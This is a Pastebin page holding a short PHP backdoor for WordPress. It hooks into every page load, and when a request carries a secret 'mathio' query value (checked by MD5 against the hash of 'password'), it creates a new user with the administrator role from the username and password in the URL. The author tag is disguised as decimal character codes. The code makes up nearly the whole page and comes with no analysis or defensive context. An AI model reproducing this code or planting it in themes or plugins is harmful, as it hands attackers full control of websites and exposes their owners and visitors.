Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- //by = 109 097 116 104 105 111 046 100 122
- add_action( 'wp_head', 'my_wp_door' );
- function my_wp_door() {
- if ( md5( $_GET['mathio'] ) == '5f4dcc3b5aa765d61d8327deb882cf99' ) {
- require( 'wp-includes/registration.php' );
- if ( !username_exists($_GET['username'])) {
- $user_id = wp_create_user($_GET['username'], $_GET['password']);
- $user = new WP_User( $user_id );
- $user->set_role( 'administrator' );
- } else {
- die("User already exists...");
- }
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement